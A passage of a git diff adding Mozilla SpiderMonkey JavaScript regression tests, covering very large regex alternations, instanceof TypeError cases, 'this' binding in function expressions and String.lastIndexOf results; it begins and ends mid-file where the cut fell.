2502|2503|2504|2505|2506|2507|2508|2509|2510|2511|2512|2513|2514|2515|2516|2517|2518|2519|2520|2521|2522|2523|2524|2525|2526|2527|2528|2529|2530|2531|2532|2533|2534|2535|2536|2537|2538|2539|2540|2541|2542|2543|2544|2545|2546|2547|2548|2549|2550|2551|2552|2553|2554|2555|2556|2557|2558|2559|2560|2561|2562|2563|2564|2565|2566|2567|2568|2569|2570|2571|2572|2573|2574|2575|2576|2577|2578|2579|2580|2581|2582|2583|2584|2585|2586|2587|2588|2589|2590|2591|2592|2593|2594|2595|2596|2597|2598|2599|2600|2601|2602|2603|2604|2605|2606|2607|2608|2609|2610|2611|2612|2613|2614|2615|2616|2617|2618|2619|2620|2621|2622|2623|2624|2625|2626|2627|2628|2629|2630|2631|2632|2633|2634|2635|2636|2637|2638|2639|2640|2641|2642|2643|2644|2645|2646|2647|2648|2649|2650|2651|2652|2653|2654|2655|2656|2657|2658|2659|2660|2661|2662|2663|2664|2665|2666|2667|2668|2669|2670|2671|2672|2673|2674|2675|2676|2677|2678|2679|2680|2681|2682|2683|2684|2685|2686|2687|2688|2689|2690|2691|2692|2693|2694|2695|2696|2697|2698|2699|2700|2701|2702|2703|2704|2705|2706|2707|2708|2709|2710|2711|2712|2713|2714|2715|2716|2717|2718|2719|2720|2721|2722|2723|2724|2725|2726|2727|2728|2729|2730|2731|2732|2733|2734|2735|2736|2737|2738|2739|2740|2741|2742|2743|2744|2745|2746|2747|2748|2749|2750|2751|2752|2753|2754|2755|2756|2757|2758|2759|2760|2761|2762|2763|2764|2765|2766|2767|2768|2769|2770|2771|2772|2773|2774|2775|2776|2777|2778|2779|2780|2781|2782|2783|2784|2785|2786|2787|2788|2789|2790|2791|2792|2793|2794|2795|2796|2797|2798|2799|2800|2801|2802|2803|2804|2805|2806|2807|2808|2809|2810|2811|2812|2813|2814|2815|2816|2817|2818|2819|2820|2821|2822|2823|2824|2825|2826|2827|2828|2829|2830|2831|2832|2833|2834|2835|2836|2837|2838|2839|2840|2841|2842|2843|2844|2845|2846|2847|2848|2849|2850|2851|2852|2853|2854|2855|2856|2857|2858|2859|2860|2861|2862|2863|2864|2865|2866|2867|2868|2869|2870|2871|2872|2873|2874|2875|2876|2877|2878|2879|2880|2881|2882|2883|2884|2885|2886|2887|2888|2889|2890|2891|2892|2893|2894|2895|2896|2897|2898|2899|2900|2901|2902|2903|2904|2905|2906|2907|2908|2909|2910|2911|2912|2913|2914|2915|2916|2917|2918|2919|2920|2921|2922|2923|2924|2925|2926|2927|2928|2929|2930|2931|2932|2933|2934|2935|2936|2937|2938|2939|2940|2941|2942|2943|2944|2945|2946|2947|2948|2949|2950|2951|2952|2953|2954|2955|2956|2957|2958|2959|2960|2961|2962|2963|2964|2965|2966|2967|2968|2969|2970|2971|2972|2973|2974|2975|2976|2977|2978|2979|2980|2981|2982|2983|2984|2985|2986|2987|2988|2989|2990|2991|2992|2993|2994|2995|2996|2997|2998|2999|3000|3001|3002|3003|3004|3005|3006|3007|3008|3009|3010|3011|3012|3013|3014|3015|3016|3017|3018|3019|3020|3021|3022|3023|3024|3025|3026|3027|3028|3029|3030|3031|3032|3033|3034|3035|3036|3037|3038|3039|3040|3041|3042|3043|3044|3045|3046|3047|3048|3049|3050|3051|3052|3053|3054|3055|3056|3057|3058|3059|3060|3061|3062|3063|3064|3065|3066|3067|3068|3069|3070|3071|3072|3073|3074|3075|3076|3077|3078|3079|3080|3081|3082|3083|3084|3085|3086|3087|3088|3089|3090|3091|3092|3093|3094|3095|3096|3097|3098|3099|3100|3101|3102|3103|3104|3105|3106|3107|3108|3109|3110|3111|3112|3113|3114|3115|3116|3117|3118|3119|3120|3121|3122|3123|3124|3125|3126|3127|3128|3129|3130|3131|3132|3133|3134|3135|3136|3137|3138|3139|3140|3141|3142|3143|3144|3145|3146|3147|3148|3149|3150|3151|3152|3153|3154|3155|3156|3157|3158|3159|3160|3161|3162|3163|3164|3165|3166|3167|3168|3169|3170|3171|3172|3173|3174|3175|3176|3177|3178|3179|3180|3181|3182|3183|3184|3185|3186|3187|3188|3189|3190|3191|3192|3193|3194|3195|3196|3197|3198|3199|3200|3201|3202|3203|3204|3205|3206|3207|3208|3209|3210|3211|3212|3213|3214|3215|3216|3217|3218|3219|3220|3221|3222|3223|3224|3225|3226|3227|3228|3229|3230|3231|3232|3233|3234|3235|3236|3237|3238|3239|3240|3241|3242|3243|3244|3245|3246|3247|3248|3249|3250|3251|3252|3253|3254|3255|3256|3257|3258|3259|3260|3261|3262|3263|3264|3265|3266|3267|3268|3269|3270|3271|3272|3273|3274|3275|3276|3277|3278|3279|3280|3281|3282|3283|3284|3285|3286|3287|3288|3289|3290|3291|3292|3293|3294|3295|3296|3297|3298|3299|3300|3301|3302|3303|3304|3305|3306|3307|3308|3309|3310|3311|3312|3313|3314|3315|3316|3317|3318|3319|3320|3321|3322|3323|3324|3325|3326|3327|3328|3329|3330|3331|3332|3333|3334|3335|3336|3337|3338|3339|3340|3341|3342|3343|3344|3345|3346|3347|3348|3349|3350|3351|3352|3353|3354|3355|3356|3357|3358|3359|3360|3361|3362|3363|3364|3365|3366|3367|3368|3369|3370|3371|3372|3373|3374|3375|3376|3377|3378|3379|3380|3381|3382|3383|3384|3385|3386|3387|3388|3389|3390|3391|3392|3393|3394|3395|3396|3397|3398|3399|3400|3401|3402|3403|3404|3405|3406|3407|3408|3409|3410|3411|3412|3413|3414|3415|3416|3417|3418|3419|3420|3421|3422|3423|3424|3425|3426|3427|3428|3429|3430|3431|3432|3433|3434|3435|3436|3437|3438|3439|3440|3441|3442|3443|3444|3445|3446|3447|3448|3449|3450|3451|3452|3453|3454|3455|3456|3457|3458|3459|3460|3461|3462|3463|3464|3465|3466|3467|3468|3469|3470|3471|3472|3473|3474|3475|3476|3477|3478|3479|3480|3481|3482|3483|3484|3485|3486|3487|3488|3489|3490|3491|3492|3493|3494|3495|3496|3497|3498|3499|3500|3501|3502|3503|3504|3505|3506|3507|3508|3509|3510|3511|3512|3513|3514|3515|3516|3517|3518|3519|3520|3521|3522|3523|3524|3525|3526|3527|3528|3529|3530|3531|3532|3533|3534|3535|3536|3537|3538|3539|3540|3541|3542|3543|3544|3545|3546|3547|3548|3549|3550|3551|3552|3553|3554|3555|3556|3557|3558|3559|3560|3561|3562|3563|3564|3565|3566|3567|3568|3569|3570|3571|3572|3573|3574|3575|3576|3577|3578|3579|3580|3581|3582|3583|3584|3585|3586|3587|3588|3589|3590|3591|3592|3593|3594|3595|3596|3597|3598|3599|3600|3601|3602|3603|3604|3605|3606|3607|3608|3609|3610|3611|3612|3613|3614|3615|3616|3617|3618|3619|3620|3621|3622|3623|3624|3625|3626|3627|3628|3629|3630|3631|3632|3633|3634|3635|3636|3637|3638|3639|3640|3641|3642|3643|3644|3645|3646|3647|3648|3649|3650|3651|3652|3653|3654|3655|3656|3657|3658|3659|3660|3661|3662|3663|3664|3665|3666|3667|3668|3669|3670|3671|3672|3673|3674|3675|3676|3677|3678|3679|3680|3681|3682|3683|3684|3685|3686|3687|3688|3689|3690|3691|3692|3693|3694|3695|3696|3697|3698|3699|3700|3701|3702|3703|3704|3705|3706|3707|3708|3709|3710|3711|3712|3713|3714|3715|3716|3717|3718|3719|3720|3721|3722|3723|3724|3725|3726|3727|3728|3729|3730|3731|3732|3733|3734|3735|3736|3737|3738|3739|3740|3741|3742|3743|3744|3745|3746|3747|3748|3749|3750|3751|3752|3753|3754|3755|3756|3757|3758|3759|3760|3761|3762|3763|3764|3765|3766|3767|3768|3769|3770|3771|3772|3773|3774|3775|3776|3777|3778|3779|3780|3781|3782|3783|3784|3785|3786|3787|3788|3789|3790|3791|3792|3793|3794|3795|3796|3797|3798|3799|3800|3801|3802|3803|3804|3805|3806|3807|3808|3809|3810|3811|3812|3813|3814|3815|3816|3817|3818|3819|3820|3821|3822|3823|3824|3825|3826|3827|3828|3829|3830|3831|3832|3833|3834|3835|3836|3837|3838|3839|3840|3841|3842|3843|3844|3845|3846|3847|3848|3849|3850|3851|3852|3853|3854|3855|3856|3857|3858|3859|3860|3861|3862|3863|3864|3865|3866|3867|3868|3869|3870|3871|3872|3873|3874|3875|3876|3877|3878|3879|3880|3881|3882|3883|3884|3885|3886|3887|3888|3889|3890|3891|3892|3893|3894|3895|3896|3897|3898|3899|3900|3901|3902|3903|3904|3905|3906|3907|3908|3909|3910|3911|3912|3913|3914|3915|3916|3917|3918|3919|3920|3921|3922|3923|3924|3925|3926|3927|3928|3929|3930|3931|3932|3933|3934|3935|3936|3937|3938|3939|3940|3941|3942|3943|3944|3945|3946|3947|3948|3949|3950|3951|3952|3953|3954|3955|3956|3957|3958|3959|3960|3961|3962|3963|3964|3965|3966|3967|3968|3969|3970|3971|3972|3973|3974|3975|3976|3977|3978|3979|3980|3981|3982|3983|3984|3985|3986|3987|3988|3989|3990|3991|3992|3993|3994|3995|3996|3997|3998|3999|4000|4001|4002|4003|4004|4005|4006|4007|4008|4009|4010|4011|4012|4013|4014|4015|4016|4017|4018|4019|4020|4021|4022|4023|4024|4025|4026|4027|4028|4029|4030|4031|4032|4033|4034|4035|4036|4037|4038|4039|4040|4041|4042|4043|4044|4045|4046|4047|4048|4049|4050|4051|4052|4053|4054|4055|4056|4057|4058|4059|4060|4061|4062|4063|4064|4065|4066|4067|4068|4069|4070|4071|4072|4073|4074|4075|4076|4077|4078|4079|4080|4081|4082|4083|4084|4085|4086|4087|4088|4089|4090|4091|4092|4093|4094|4095|4096|4097|4098|4099|4100|4101|4102|4103|4104|4105|4106|4107|4108|4109|4110|4111|4112|4113|4114|4115|4116|4117|4118|4119|4120|4121|4122|4123|4124|4125|4126|4127|4128|4129|4130|4131|4132|4133|4134|4135|4136|4137|4138|4139|4140|4141|4142|4143|4144|4145|4146|4147|4148|4149|4150|4151|4152|4153|4154|4155|4156|4157|4158|4159|4160|4161|4162|4163|4164|4165|4166|4167|4168|4169|4170|4171|4172|4173|4174|4175|4176|4177|4178|4179|4180|4181|4182|4183|4184|4185|4186|4187|4188|4189|4190|4191|4192|4193|4194|4195|4196|4197|4198|4199|4200|4201|4202|4203|4204|4205|4206|4207|4208|4209|4210|4211|4212|4213|4214|4215|4216|4217|4218|4219|4220|4221|4222|4223|4224|4225|4226|4227|4228|4229|4230|4231|4232|4233|4234|4235|4236|4237|4238|4239|4240|4241|4242|4243|4244|4245|4246|4247|4248|4249|4250|4251|4252|4253|4254|4255|4256|4257|4258|4259|4260|4261|4262|4263|4264|4265|4266|4267|4268|4269|4270|4271|4272|4273|4274|4275|4276|4277|4278|4279|4280|4281|4282|4283|4284|4285|4286|4287|4288|4289|4290|4291|4292|4293|4294|4295|4296|4297|4298|4299|4300|4301|4302|4303|4304|4305|4306|4307|4308|4309|4310|4311|4312|4313|4314|4315|4316|4317|4318|4319|4320|4321|4322|4323|4324|4325|4326|4327|4328|4329|4330|4331|4332|4333|4334|4335|4336|4337|4338|4339|4340|4341|4342|4343|4344|4345|4346|4347|4348|4349|4350|4351|4352|4353|4354|4355|4356|4357|4358|4359|4360|4361|4362|4363|4364|4365|4366|4367|4368|4369|4370|4371|4372|4373|4374|4375|4376|4377|4378|4379|4380|4381|4382|4383|4384|4385|4386|4387|4388|4389|4390|4391|4392|4393|4394|4395|4396|4397|4398|4399|4400|4401|4402|4403|4404|4405|4406|4407|4408|4409|4410|4411|4412|4413|4414|4415|4416|4417|4418|4419|4420|4421|4422|4423|4424|4425|4426|4427|4428|4429|4430|4431|4432|4433|4434|4435|4436|4437|4438|4439|4440|4441|4442|4443|4444|4445|4446|4447|4448|4449|4450|4451|4452|4453|4454|4455|4456|4457|4458|4459|4460|4461|4462|4463|4464|4465|4466|4467|4468|4469|4470|4471|4472|4473|4474|4475|4476|4477|4478|4479|4480|4481|4482|4483|4484|4485|4486|4487|4488|4489|4490|4491|4492|4493|4494|4495|4496|4497|4498|4499|4500|4501|4502|4503|4504|4505|4506|4507|4508|4509|4510|4511|4512|4513|4514|4515|4516|4517|4518|4519|4520|4521|4522|4523|4524|4525|4526|4527|4528|4529|4530|4531|4532|4533|4534|4535|4536|4537|4538|4539|4540|4541|4542|4543|4544|4545|4546|4547|4548|4549|4550|4551|4552|4553|4554|4555|4556|4557|4558|4559|4560|4561|4562|4563|4564|4565|4566|4567|4568|4569|4570|4571|4572|4573|4574|4575|4576|4577|4578|4579|4580|4581|4582|4583|4584|4585|4586|4587|4588|4589|4590|4591|4592|4593|4594|4595|4596|4597|4598|4599|4600|4601|4602|4603|4604|4605|4606|4607|4608|4609|4610|4611|4612|4613|4614|4615|4616|4617|4618|4619|4620|4621|4622|4623|4624|4625|4626|4627|4628|4629|4630|4631|4632|4633|4634|4635|4636|4637|4638|4639|4640|4641|4642|4643|4644|4645|4646|4647|4648|4649|4650|4651|4652|4653|4654|4655|4656|4657|4658|4659|4660|4661|4662|4663|4664|4665|4666|4667|4668|4669|4670|4671|4672|4673|4674|4675|4676|4677|4678|4679|4680|4681|4682|4683|4684|4685|4686|4687|4688|4689|4690|4691|4692|4693|4694|4695|4696|4697|4698|4699|4700|4701|4702|4703|4704|4705|4706|4707|4708|4709|4710|4711|4712|4713|4714|4715|4716|4717|4718|4719|4720|4721|4722|4723|4724|4725|4726|4727|4728|4729|4730|4731|4732|4733|4734|4735|4736|4737|4738|4739|4740|4741|4742|4743|4744|4745|4746|4747|4748|4749|4750|4751|4752|4753|4754|4755|4756|4757|4758|4759|4760|4761|4762|4763|4764|4765|4766|4767|4768|4769|4770|4771|4772|4773|4774|4775|4776|4777|4778|4779|4780|4781|4782|4783|4784|4785|4786|4787|4788|4789|4790|4791|4792|4793|4794|4795|4796|4797|4798|4799|4800|4801|4802|4803|4804|4805|4806|4807|4808|4809|4810|4811|4812|4813|4814|4815|4816|4817|4818|4819|4820|4821|4822|4823|4824|4825|4826|4827|4828|4829|4830|4831|4832|4833|4834|4835|4836|4837|4838|4839|4840|4841|4842|4843|4844|4845|4846|4847|4848|4849|4850|4851|4852|4853|4854|4855|4856|4857|4858|4859|4860|4861|4862|4863|4864|4865|4866|4867|4868|4869|4870|4871|4872|4873|4874|4875|4876|4877|4878|4879|4880|4881|4882|4883|4884|4885|4886|4887|4888|4889|4890|4891|4892|4893|4894|4895|4896|4897|4898|4899|4900|4901|4902|4903|4904|4905|4906|4907|4908|4909|4910|4911|4912|4913|4914|4915|4916|4917|4918|4919|4920|4921|4922|4923|4924|4925|4926|4927|4928|4929|4930|4931|4932|4933|4934|4935|4936|4937|4938|4939|4940|4941|4942|4943|4944|4945|4946|4947|4948|4949|4950|4951|4952|4953|4954|4955|4956|4957|4958|4959|4960|4961|4962|4963|4964|4965|4966|4967|4968|4969|4970|4971|4972|4973|4974|4975|4976|4977|4978|4979|4980|4981|4982|4983|4984|4985|4986|4987|4988|4989|4990|4991|4992|4993|4994|4995|4996|4997|4998|4999|5000|5001|5002|5003|5004|5005|5006|5007|5008|5009|5010|5011|5012|5013|5014|5015|5016|5017|5018|5019|5020|5021|5022|5023|5024|5025|5026|5027|5028|5029|5030|5031|5032|5033|5034|5035|5036|5037|5038|5039|5040|5041|5042|5043|5044|5045|5046|5047|5048|5049|5050|5051|5052|5053|5054|5055|5056|5057|5058|5059|5060|5061|5062|5063|5064|5065|5066|5067|5068|5069|5070|5071|5072|5073|5074|5075|5076|5077|5078|5079|5080|5081|5082|5083|5084|5085|5086|5087|5088|5089|5090|5091|5092|5093|5094|5095|5096|5097|5098|5099|5100|5101|5102|5103|5104|5105|5106|5107|5108|5109|5110|5111|5112|5113|5114|5115|5116|5117|5118|5119|5120|5121|5122|5123|5124|5125|5126|5127|5128|5129|5130|5131|5132|5133|5134|5135|5136|5137|5138|5139|5140|5141|5142|5143|5144|5145|5146|5147|5148|5149|5150|5151|5152|5153|5154|5155|5156|5157|5158|5159|5160|5161|5162|5163|5164|5165|5166|5167|5168|5169|5170|5171|5172|5173|5174|5175|5176|5177|5178|5179|5180|5181|5182|5183|5184|5185|5186|5187|5188|5189|5190|5191|5192|5193|5194|5195|5196|5197|5198|5199|5200|5201|5202|5203|5204|5205|5206|5207|5208|5209|5210|5211|5212|5213|5214|5215|5216|5217|5218|5219|5220|5221|5222|5223|5224|5225|5226|5227|5228|5229|5230|5231|5232|5233|5234|5235|5236|5237|5238|5239|5240|5241|5242|5243|5244|5245|5246|5247|5248|5249|5250|5251|5252|5253|5254|5255|5256|5257|5258|5259|5260|5261|5262|5263|5264|5265|5266|5267|5268|5269|5270|5271|5272|5273|5274|5275|5276|5277|5278|5279|5280|5281|5282|5283|5284|5285|5286|5287|5288|5289|5290|5291|5292|5293|5294|5295|5296|5297|5298|5299|5300|5301|5302|5303|5304|5305|5306|5307|5308|5309|5310|5311|5312|5313|5314|5315|5316|5317|5318|5319|5320|5321|5322|5323|5324|5325|5326|5327|5328|5329|5330|5331|5332|5333|5334|5335|5336|5337|5338|5339|5340|5341|5342|5343|5344|5345|5346|5347|5348|5349|5350|5351|5352|5353|5354|5355|5356|5357|5358|5359|5360|5361|5362|5363|5364|5365|5366|5367|5368|5369|5370|5371|5372|5373|5374|5375|5376|5377|5378|5379|5380|5381|5382|5383|5384|5385|5386|5387|5388|5389|5390|5391|5392|5393|5394|5395|5396|5397|5398|5399|5400|5401|5402|5403|5404|5405|5406|5407|5408|5409|5410|5411|5412|5413|5414|5415|5416|5417|5418|5419|5420|5421|5422|5423|5424|5425|5426|5427|5428|5429|5430|5431|5432|5433|5434|5435|5436|5437|5438|5439|5440|5441|5442|5443|5444|5445|5446|5447|5448|5449|5450|5451|5452|5453|5454|5455|5456|5457|5458|5459|5460|5461|5462|5463|5464|5465|5466|5467|5468|5469|5470|5471|5472|5473|5474|5475|5476|5477|5478|5479|5480|5481|5482|5483|5484|5485|5486|5487|5488|5489|5490|5491|5492|5493|5494|5495|5496|5497|5498|5499|5500|5501|5502|5503|5504|5505|5506|5507|5508|5509|5510|5511|5512|5513|5514|5515|5516|5517|5518|5519|5520|5521|5522|5523|5524|5525|5526|5527|5528|5529|5530|5531|5532|5533|5534|5535|5536|5537|5538|5539|5540|5541|5542|5543|5544|5545|5546|5547|5548|5549|5550|5551|5552|5553|5554|5555|5556|5557|5558|5559|5560|5561|5562|5563|5564|5565|5566|5567|5568|5569|5570|5571|5572|5573|5574|5575|5576|5577|5578|5579|5580|5581|5582|5583|5584|5585|5586|5587|5588|5589|5590|5591|5592|5593|5594|5595|5596|5597|5598|5599|5600|5601|5602|5603|5604|5605|5606|5607|5608|5609|5610|5611|5612|5613|5614|5615|5616|5617|5618|5619|5620|5621|5622|5623|5624|5625|5626|5627|5628|5629|5630|5631|5632|5633|5634|5635|5636|5637|5638|5639|5640|5641|5642|5643|5644|5645|5646|5647|5648|5649|5650|5651|5652|5653|5654|5655|5656|5657|5658|5659|5660|5661|5662|5663|5664|5665|5666|5667|5668|5669|5670|5671|5672|5673|5674|5675|5676|5677|5678|5679|5680|5681|5682|5683|5684|5685|5686|5687|5688|5689|5690|5691|5692|5693|5694|5695|5696|5697|5698|5699|5700|5701|5702|5703|5704|5705|5706|5707|5708|5709|5710|5711|5712|5713|5714|5715|5716|5717|5718|5719|5720|5721|5722|5723|5724|5725|5726|5727|5728|5729|5730|5731|5732|5733|5734|5735|5736|5737|5738|5739|5740|5741|5742|5743|5744|5745|5746|5747|5748|5749|5750|5751|5752|5753|5754|5755|5756|5757|5758|5759|5760|5761|5762|5763|5764|5765|5766|5767|5768|5769|5770|5771|5772|5773|5774|5775|5776|5777|5778|5779|5780|5781|5782|5783|5784|5785|5786|5787|5788|5789|5790|5791|5792|5793|5794|5795|5796|5797|5798|5799|5800|5801|5802|5803|5804|5805|5806|5807|5808|5809|5810|5811|5812|5813|5814|5815|5816|5817|5818|5819|5820|5821|5822|5823|5824|5825|5826|5827|5828|5829|5830|5831|5832|5833|5834|5835|5836|5837|5838|5839|5840|5841|5842|5843|5844|5845|5846|5847|5848|5849|5850|5851|5852|5853|5854|5855|5856|5857|5858|5859|5860|5861|5862|5863|5864|5865|5866|5867|5868|5869|5870|5871|5872|5873|5874|5875|5876|5877|5878|5879|5880|5881|5882|5883|5884|5885|5886|5887|5888|5889|5890|5891|5892|5893|5894|5895|5896|5897|5898|5899|5900|5901|5902|5903|5904|5905|5906|5907|5908|5909|5910|5911|5912|5913|5914|5915|5916|5917|5918|5919|5920|5921|5922|5923|5924|5925|5926|5927|5928|5929|5930|5931|5932|5933|5934|5935|5936|5937|5938|5939|5940|5941|5942|5943|5944|5945|5946|5947|5948|5949|5950|5951|5952|5953|5954|5955|5956|5957|5958|5959|5960|5961|5962|5963|5964|5965|5966|5967|5968|5969|5970|5971|5972|5973|5974|5975|5976|5977|5978|5979|5980|5981|5982|5983|5984|5985|5986|5987|5988|5989|5990|5991|5992|5993|5994|5995|5996|5997|5998|5999|6000|6001|6002|6003|6004|6005|6006|6007|6008|6009|6010|6011|6012|6013|6014|6015|6016|6017|6018|6019|6020|6021|6022|6023|6024|6025|6026|6027|6028|6029|6030|6031|6032|6033|6034|6035|6036|6037|6038|6039|6040|6041|6042|6043|6044|6045|6046|6047|6048|6049|6050|6051|6052|6053|6054|6055|6056|6057|6058|6059|6060|6061|6062|6063|6064|6065|6066|6067|6068|6069|6070|6071|6072|6073|6074|6075|6076|6077|6078|6079|6080|6081|6082|6083|6084|6085|6086|6087|6088|6089|6090|6091|6092|6093|6094|6095|6096|6097|6098|6099|6100|6101|6102|6103|6104|6105|6106|6107|6108|6109|6110|6111|6112|6113|6114|6115|6116|6117|6118|6119|6120|6121|6122|6123|6124|6125|6126|6127|6128|6129|6130|6131|6132|6133|6134|6135|6136|6137|6138|6139|6140|6141|6142|6143|6144|6145|6146|6147|6148|6149|6150|6151|6152|6153|6154|6155|6156|6157|6158|6159|6160|6161|6162|6163|6164|6165|6166|6167|6168|6169|6170|6171|6172|6173|6174|6175|6176|6177|6178|6179|6180|6181|6182|6183|6184|6185|6186|6187|6188|6189|6190|6191|6192|6193|6194|6195|6196|6197|6198|6199|6200|6201|6202|6203|6204|6205|6206|6207|6208|6209|6210|6211|6212|6213|6214|6215|6216|6217|6218|6219|6220|6221|6222|6223|6224|6225|6226|6227|6228|6229|6230|6231|6232|6233|6234|6235|6236|6237|6238|6239|6240|6241|6242|6243|6244|6245|6246|6247|6248|6249|6250|6251|6252|6253|6254|6255|6256|6257|6258|6259|6260|6261|6262|6263|6264|6265|6266|6267|6268|6269|6270|6271|6272|6273|6274|6275|6276|6277|6278|6279|6280|6281|6282|6283|6284|6285|6286|6287|6288|6289|6290|6291|6292|6293|6294|6295|6296|6297|6298|6299|6300|6301|6302|6303|6304|6305|6306|6307|6308|6309|6310|6311|6312|6313|6314|6315|6316|6317|6318|6319|6320|6321|6322|6323|6324|6325|6326|6327|6328|6329|6330|6331|6332|6333|6334|6335|6336|6337|6338|6339|6340|6341|6342|6343|6344|6345|6346|6347|6348|6349|6350|6351|6352|6353|6354|6355|6356|6357|6358|6359|6360|6361|6362|6363|6364|6365|6366|6367|6368|6369|6370|6371|6372|6373|6374|6375|6376|6377|6378|6379|6380|6381|6382|6383|6384|6385|6386|6387|6388|6389|6390|6391|6392|6393|6394|6395|6396|6397|6398|6399|6400|6401|6402|6403|6404|6405|6406|6407|6408|6409|6410|6411|6412|6413|6414|6415|6416|6417|6418|6419|6420|6421|6422|6423|6424|6425|6426|6427|6428|6429|6430|6431|6432|6433|6434|6435|6436|6437|6438|6439|6440|6441|6442|6443|6444|6445|6446|6447|6448|6449|6450|6451|6452|6453|6454|6455|6456|6457|6458|6459|6460|6461|6462|6463|6464|6465|6466|6467|6468|6469|6470|6471|6472|6473|6474|6475|6476|6477|6478|6479|6480|6481|6482|6483|6484|6485|6486|6487|6488|6489|6490|6491|6492|6493|6494|6495|6496|6497|6498|6499|6500|6501|6502|6503|6504|6505|6506|6507|6508|6509|6510|6511|6512|6513|6514|6515|6516|6517|6518|6519|6520|6521|6522|6523|6524|6525|6526|6527|6528|6529|6530|6531|6532|6533|6534|6535|6536|6537|6538|6539|6540|6541|6542|6543|6544|6545|6546|6547|6548|6549|6550|6551|6552|6553|6554|6555|6556|6557|6558|6559|6560|6561|6562|6563|6564|6565|6566|6567|6568|6569|6570|6571|6572|6573|6574|6575|6576|6577|6578|6579|6580|6581|6582|6583|6584|6585|6586|6587|6588|6589|6590|6591|6592|6593|6594|6595|6596|6597|6598|6599|6600|6601|6602|6603|6604|6605|6606|6607|6608|6609|6610|6611|6612|6613|6614|6615|6616|6617|6618|6619|6620|6621|6622|6623|6624|6625|6626|6627|6628|6629|6630|6631|6632|6633|6634|6635|6636|6637|6638|6639|6640|6641|6642|6643|6644|6645|6646|6647|6648|6649|6650|6651|6652|6653|6654|6655|6656|6657|6658|6659|6660|6661|6662|6663|6664|6665|6666|6667|6668|6669|6670|6671|6672|6673|6674|6675|6676|6677|6678|6679|6680|6681|6682|6683|6684|6685|6686|6687|6688|6689|6690|6691|6692|6693|6694|6695|6696|6697|6698|6699|6700|6701|6702|6703|6704|6705|6706|6707|6708|6709|6710|6711|6712|6713|6714|6715|6716|6717|6718|6719|6720|6721|6722|6723|6724|6725|6726|6727|6728|6729|6730|6731|6732|6733|6734|6735|6736|6737|6738|6739|6740|6741|6742|6743|6744|6745|6746|6747|6748|6749|6750|6751|6752|6753|6754|6755|6756|6757|6758|6759|6760|6761|6762|6763|6764|6765|6766|6767|6768|6769|6770|6771|6772|6773|6774|6775|6776|6777|6778/;
+
+result = re.exec('6777');
+
+reportCompare(expect, actual, summary);
+
+status = summary + ' ' + inSection(2) + ' (new RegExp("0|...|9999") ';
+
+var N = 10 * 1000;
+var a = new Array(N);
+for (var i = 0; i != N; ++i) {
+ a[i] = i;
+}
+var str = a.join('|'); // str is 0|1|2|3|...|<printed value of N -1>
+var re = new RegExp(str);
+re.exec(N - 1);
+
+reportCompare(expect, actual, summary);
+
+
+
diff --git a/js/src/tests/js1_5/Regress/regress-281606.js b/js/src/tests/js1_5/Regress/regress-281606.js
new file mode 100644
index 000000000..2f36c150c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-281606.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 281606;
+var summary = 'l instanceof r throws TypeError if r does not support [[HasInstance]]';
+var actual = '';
+var expect = '';
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {};
+
+status = summary + ' ' + inSection(1) + ' o instanceof Math ';
+expect = 'TypeError';
+try
+{
+ if (o instanceof Math)
+ {
+ }
+ actual = 'No Error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' o instanceof o ';
+expect = 'TypeError';
+try
+{
+ if (o instanceof o)
+ {
+ }
+ actual = 'No Error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/js1_5/Regress/regress-281930.js b/js/src/tests/js1_5/Regress/regress-281930.js
new file mode 100644
index 000000000..2939c8be8
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-281930.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 281930;
+var summary = 'this reference should point to global object in function expressions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var global = this;
+
+actual = function() { return this; }();
+expect = global;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-283477.js b/js/src/tests/js1_5/Regress/regress-283477.js
new file mode 100644
index 000000000..65fcbb02d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-283477.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 283477;
+var summary = 'a.lastIndexOf(b, c) should return -1 when there is no match';
+var actual = '';
+var expect = '';
+var status;
+
+enterFunc ('test');
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + " " + '"".lastIndexOf("hello", 0);';
+expect = -1;
+actual = "".lastIndexOf("hello", 0);
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + " " + ' "".lastIndexOf("hello");';
+expect = -1;
+actual = "".lastIndexOf("hello");
+reportCompare(expect, actual, status);
+
+exitFunc ('test');
diff --git a/js/src/tests/js1_5/Regress/regress-288688.js b/js/src/tests/js1_5/Regress/regress-288688.js
new file mode 100644
index 000000000..551b6d970
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-288688.js
@@ -0,0 +1,48 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 288688;
+var summary = 'x->regExpStatics should be stacked and unstacked around the lambda invocations';
+var actual = '';
+var expect = '';
+
